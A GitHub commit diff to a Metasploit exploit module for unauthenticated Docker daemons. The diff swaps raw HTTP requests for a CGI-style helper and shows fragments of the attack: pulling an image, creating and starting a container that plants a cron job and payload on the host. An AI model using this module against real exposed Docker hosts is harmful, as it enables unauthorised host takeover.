Skip to content

Commit 6d28a57

Browse files
committed
send_request_cgi instead of send_request_raw
1 parent 33ec3c3 commit 6d28a57

File tree

1 file changed

+18
-12
lines changed

1 file changed

+18
-12
lines changed

modules/exploits/linux/http/docker_daemon_tcp.rb

Lines changed: 18 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -50,9 +50,10 @@ def initialize(info = {})
5050

5151
def check_image(image_id)
5252
vprint_status("Check if images exist on the target host")
53-
res = send_request_raw(
53+
res = send_request_cgi(
5454
'method' => 'GET',
55-
'uri' => normalize_uri('images', 'json')
55+
'uri' => normalize_uri('images', 'json'),
56+
'ctype' => 'application/json'
5657
)
5758
return unless res && res.code == 200 && res.body.include?(image_id)
5859

@@ -61,9 +62,10 @@ def check_image(image_id)
6162

6263
def pull_image(image_id)
6364
print_status("Trying to pulling image from docker registry, this may take a while")
64-
res = send_request_raw(
65+
res = send_request_cgi(
6566
'method' => 'POST',
66-
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
67+
'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
68+
'ctype' => 'application/json'
6769
)
6870
return unless res && res.code == 200
6971

@@ -104,19 +106,21 @@ def make_container(mnt_path, cron_path, payload_path)
104106
end
105107

106108
def del_container(container_id)
107-
send_request_raw(
109+
send_request_cgi(
108110
{
109111
'method' => 'DELETE',
110-
'uri' => normalize_uri('containers', container_id)
112+
'uri' => normalize_uri('containers', container_id),
113+
'ctype' => 'application/json'
111114
},
112115
1 # timeout
113116
)
114117
end
115118

116119
def check
117-
res = send_request_raw(
120+
res = send_request_cgi(
118121
'method' => 'GET',
119122
'uri' => normalize_uri('containers', 'json'),
123+
'ctype' => 'application/json',
120124
'headers' => { 'Accept' => 'application/json' }
121125
)
122126

@@ -151,10 +155,10 @@ def exploit
151155
container_id = make_container_id
152156

153157
# create container
154-
res_create = send_request_raw(
158+
res_create = send_request_cgi(
155159
'method' => 'POST',
156160
'uri' => normalize_uri('containers', 'create?name=' + container_id),
157-
'headers' => { 'Content-Type' => 'application/json' },
161+
'ctype' => 'application/json',
158162
'data' => make_container(mnt_path, cron_path, payload_path).to_json
159163
)
160164
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
@@ -163,19 +167,21 @@ def exploit
163167
register_files_for_cleanup(cron_path, payload_path)
164168

165169
# start container
166-
send_request_raw(
170+
send_request_cgi(
167171
{
168172
'method' => 'POST',
169-
'uri' => normalize_uri('containers', container_id, 'start')
173+
'uri' => normalize_uri('containers', container_id, 'start'),
174+
'ctype' => 'application/json'
170175
},
171176
1 # timeout
172177
)
173178

174179
# wait until container stopped
175180
vprint_status("Waiting until the docker container stopped")
176-
res_wait = send_request_raw(
181+
res_wait = send_request_cgi(
177182
'method' => 'POST',
178183
'uri' => normalize_uri('containers', container_id, 'wait'),
184+
'ctype' => 'application/json',
179185
'headers' => { 'Accept' => 'application/json' }
180186
)
181187

0 commit comments

Comments
 (0)